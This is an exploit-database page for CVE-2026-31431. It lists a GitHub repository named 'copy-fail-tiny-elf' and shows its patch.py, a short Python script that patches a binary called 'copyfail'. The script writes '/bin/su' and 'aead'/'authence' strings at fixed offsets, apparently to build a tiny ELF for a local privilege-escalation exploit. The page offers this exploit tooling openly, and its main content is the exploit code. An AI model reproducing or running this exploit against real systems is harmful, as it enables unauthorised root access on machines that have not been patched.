Exploit databaseDownload repository ZIP
GH-0e060cd8e512cbe2ba34162a18607839
crihexe/copy-fail-tiny-elf-cve-2026-31431
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files10
crihexe/copy-fail-tiny-elf-cve-2026-31431Revision 5b7817d7d483
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
patch.py
Python · 202 bytesfrom pathlib import Path
src = Path("copyfail")
buf = bytearray(src.read_bytes())
buf[8:16] = b"/bin/su\x00"
buf[0x58:0x60] = b"\x26\x00aead\x00\x00"
buf[0x70:0x78] = b"authence"
src.write_bytes(buf)